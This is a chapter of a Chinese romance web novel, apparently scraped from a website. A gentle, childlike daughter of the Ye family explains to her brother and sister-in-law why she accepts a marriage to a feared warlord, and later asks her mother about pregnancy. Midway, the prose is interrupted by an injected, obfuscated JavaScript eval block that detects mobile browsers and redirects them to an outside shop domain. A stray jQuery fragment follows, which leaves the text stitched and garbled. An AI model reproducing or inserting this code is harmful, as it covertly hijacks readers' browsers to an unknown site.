近来天气回暖,叶凝珠也不再被周锦书拘在房内。如今她正蹲在十分喜爱的小池塘旁喂着鱼。
这鱼都是叶凝珠爱吃的,每一条都被喂得胖乎乎,圆滚滚。叶凝珠隔几日就要来看的,看了才心安,塘子里每一尾鱼她都记得呢。
叶凝珠将手中的鱼食一股脑地往池里一抛,拍了拍手,发起了呆。她撑着脑袋,无神地注视着水面。
前些日子,大兄和婉清阿姊归家看她。大兄一到家就急匆匆跑到她面前,直盯着宝珠看。
叶鹤岚和叶裴之是很像的。
可能因为他是叶裴之第一个孩子,叶裴之自他出生后便对他寄予厚望。他四岁启蒙,读书识礼不曾怠慢一日。舞勺之年便成了名满天下的叶氏大郎。
叶裴之将叶氏往后的兴衰荣辱都系在叶鹤岚肩上。为此,叶鹤岚好似被养成了第二个他。
他既不能像叶行亭一样,弱冠后依旧在山野间肆意撒泼;也不能像叶凝珠一般蜷缩在父母身侧,受尽宠爱。
他刚刚束发,便带着简便行囊,去平叛穷凶极恶的海匪。然后孤身一人守在那个荒芜的海边小城,一年一归家。
直到前些年叶凝珠的及笄礼上,他遇到了叶裴之部下之女谢婉清。这位漂泊许久的孤舟才找到了自己停靠的港湾。
叶鹤岚看着自己懵懂无知的幼妹,思绪万千,他语气决绝:“宝珠,你跟大兄走。”
“大兄将你藏到我亲近的人户,对外只宣称你染了时疫,草率离世。”
“父亲只需补偿那萧氏些许金银财宝。等事情平息后,大兄便将你送到外祖那待个三五年。”
“只要三五年你便能归家,你还是我们家的宝珠。母亲定会同意,父亲那由我去劝。”
叶鹤岚眼眶泛红,嘴唇微微颤抖,他不能让自己的妹妹去受苦。
他之前剿灭海匪时就听到过那萧景珩的名号。萧景珩早年在冀州当山匪,是如何的阴狠毒辣。后面行军时,萧家军屠城,灭人满门之事也做的不少。
上天赐予宝珠世间难寻的容颜,却又让宝珠心智不全。宝珠心诚,对人对物皆以一颗真心待之。
可她若无人庇佑,在这世间便像一片风雨飘摇的浮萍。
这些年,叶鹤岚见过的肮脏事太多了。萧景珩那样的小人,如何能放心将宝珠交托与他。
叶凝珠听后却撇过脸,眼神飘忽地盯向地面。她手握成团,深深吸了口气,然后大喊:“不要,宝珠不要。”
叶鹤岚一下抓住叶凝珠的手腕,逼问:“为何不要,是不是有人逼你,是阿父?”
叶凝珠听了连连摇头,叶鹤岚看见后,瞳孔骤缩,他语气冰冷:“那便是之前萧氏来时,逼迫你了。”
叶鹤岚抓她的力气越来越大,宝珠痛得忍不住皱眉。姗姗来迟的谢婉清见了,立刻将叶鹤岚一把推开。
谢婉清捧着叶凝珠那有些发青的手腕,瞪了叶鹤岚一眼,骂道:“宝珠都被你抓疼了,你有怒气为何要撒在宝珠身上。”
叶鹤岚这时才意识到刚才自己的力度有多大,心里内疚得不行:“宝珠,刚才大兄……”
话还没说完,叶凝珠便对他展颜一笑,“宝珠知道大兄是无意的,宝珠不疼。”
叶鹤岚鼻尖一酸,他看着自己分外乖巧的幼妹,更恨那萧景珩几分。这小人抽什么风,非要把宝珠从叶氏强走。
谢婉清看着这两兄妹,嘴角噙起一抹若有若无的浅笑。她拉着叶凝珠坐在椅子上,取出随身的金疮药,小心地敷在伤处。
谢婉清看着宝珠忍痛皱眉的神情,温声问道:“宝珠,你能告诉婉清阿姊为何愿意嫁给萧景珩吗?”
叶凝珠咬唇看她,却不说一字。谢婉清摸了摸宝珠那柔软的脸颊,声音越发温柔,“宝珠,你就告诉阿姊吧。”
叶凝珠叹了口气,眼神在谢婉清和叶鹤岚两人身上打了个转,弱弱开口:“宝珠厉害吗?阿姊。”
谢婉清几乎是脱口而出:“宝珠当然厉害。”
叶凝珠听了这话,连连叹了两口气。她眼尾向下,像只无辜的幼犬,“就是因为宝珠这么厉害,所以才要嫁给萧氏啊。”
叶鹤岚问:“为何啊,宝珠。”
叶凝珠撇了叶鹤岚一眼:“大兄好笨。”
宝珠微微抬起下巴,笃定地说道:“宝珠嫁于他,大家都会很好的。”
“阿母说宝珠天生富贵,再多人也抵不过宝珠,阿父则说民为贵。没人问过宝珠怎么想。”
宝珠露出一腼腆笑意,语气变轻了些:“宝珠觉得,如果只是宝珠嫁人,便可以让许多许多的人和家人呆在一起,那宝珠也会很高兴的。”
“萧氏可坏了,这样坏的人,只有最厉害的宝珠可以管住他。天下只有一个宝珠,也只有一个萧氏,这样刚刚好。”
叶凝珠看向自家大兄,一字一句地说着:“而且嫁人也并不坏的,大兄和阿姊,阿父和阿母都很好啊。”
宝珠眼睛滴溜滴溜地转,叶鹤岚一看便知,这是宝珠想要别人夸她呢。可是听了宝珠这番话,叶鹤岚却是无论如何也开不了口的。
屋内陷入了沉默,谢婉清用那竹板小心蘸取着膏药,在那伤处涂了一层又一层。
她故作随意地问:“可是宝珠,你没有见过萧景珩啊。你要嫁给一个根本不认识的人吗?”
“而且他很坏,万一对宝珠你不好怎么办。”
叶凝珠先是摇头,然后又点头,“我会对他好的。”
门外闯入的微风吹拂起少女的嫩色发带,轻拍在她泛着红粉的脸侧。她的眼睛那么亮,灼烧着在场之人的心。
“婉清阿姊,大兄”,叶凝珠满眼笑意地说着:“宝珠有时候也会使坏的吧。”
“宝珠多吃了很多枣糕酥,一直打嗝,惹得全府人都没睡;宝珠偷偷在下雨天出去玩,染了风寒,最后还是阿母照顾我;宝珠讨厌大姑,不跟她说话,还不见她。”
叶凝珠拉着谢婉清的手,轻轻地摇。
“宝珠这样,大家还是对宝珠很好。所以,如果未来宝珠的小郎婿很坏,那宝珠会指出来,但是还是会对他好的。”
“因为,他是宝珠的家人,对吗?”
谢婉清偏过头,却发现自家郎婿和她一样,眼角有了渗湿的痕迹。他们没有一人愿意戳破宝珠的美好幻想。
这般好的小女娘,这颗被用爱浇灌而出,闪闪发光的珍珠就要离开那柔软的蚌肉了。
她能承受那些世俗欲望,人心险恶吗?无人知晓。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679873|207645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
叶凝珠也并不知道,不是所有人都会疼惜她的。
知晓所有的叶鹤岚和谢婉清却只能避开她的眼神,从而让心稍安一些。
叶鹤岚在刺史府仅呆了两日便离开了,最近日暖,他怕海匪趁他不在又生了坏心。离开前夜,他与叶裴之在书房谈了一晚。
没人知道他们聊了什么,或许只有木窗前水缸里的那尾鱼才明白这两人心中忧思。
谢婉清这夜是陪着宝珠一起睡的。在暗黄的烛光下,谢婉清摸了摸叶凝珠的发尾,眼里底是柔软。
她声音那般轻,她偷偷地告诉宝珠。宝珠要当姑母了。她有了孩子,刚刚三个月。
叶凝珠一下坐了起来,微张着嘴,“姑母,孩子?”
谢婉清笑了,她牵着宝珠,将手放在她腰腹处。“就在这,不过月份太小,还什么都看不出来呢。”
叶凝珠呆愣地看着那,不知道说些什么。谢婉清笑意更浓,喃喃道:“我家宝珠还是个孩子呢。”
夜深时,烛火都熄了,叶凝珠却悄悄睁开眼。她小心地趴在谢婉清的肚子上,用耳朵贴着那,仔细地听着。
这里有个孩子呢?宝珠也在肚子里面过吗?叶凝珠想着,眼睛却缓缓闭上。
在那呼吸起伏的腰腹处,叶凝珠觉得很温暖,很安心,就像呆在阿母身边一样。
叶鹤岚两人离家后,叶凝珠便变得有些不同了。她总是盯着一处发呆,面露笑意。可没过一会,她又低下头,面露不解。
桃夭看着蹲在池塘边的叶凝珠,发现她又这样了。她刚想上前打断,叶凝珠却突然起身,朝园外跑去。桃夭瞧着那方向,好像是女君的院子。
叶凝珠急匆匆地跑到阿母那,却发现阿母正在小憩。她刚推门,卧在短塌上的周锦书立刻睁眼。
她用手揉着太阳穴处,抬眼看向门外,眼中闪着凌厉寒意,却在发现来人是自家幼女时,表情一下变得温和起来。
这位武安候嫡女在大多数人面前都是十分高傲的,哪怕是面对自己的父亲。而能让她露出如此柔软神态的,这世间也仅仅只有叶凝珠一人。
她对叶凝珠挥了挥手,宝珠便立刻跑向她。随后脱去鞋袜,钻到带有冷香的被褥里。叶凝珠习惯性地贴在阿母脖颈处,感受着阿母的温度。
周锦书不停轻捏着宝珠脸侧的嫩肉。叶凝珠却不躲,哪怕脸已被掐得微红。她只眯眼看向自己的阿母,甚至还往她怀里蹭了蹭。
“宝珠怎么来了,是不是想阿母了。”
叶凝珠点头认同:“想阿母,只一下没见就想阿母了。”
周锦书听了,嘴角噙起一抹浅笑,似春水柔波,“怎么这么黏阿母啊,一刻都分不开。”
“宝珠是阿母身上的赖皮虫,怎么甩也甩不掉。”
“阿母,我是宝珠的,不是赖皮虫。”叶凝珠皱眉看向周锦书,反驳道。
“好好好,是宝珠,是宝珠。”
见周锦书改了口,叶凝珠才安心。赖皮虫这么难听,她可不喜欢。
看阿母心情不错,叶凝珠试探地开口问了那个困扰自己好几天的问题。
“阿母,宝珠也在您肚子里呆过的吗?”
“宝珠还在您肚子里的时候,就是宝珠了吗?”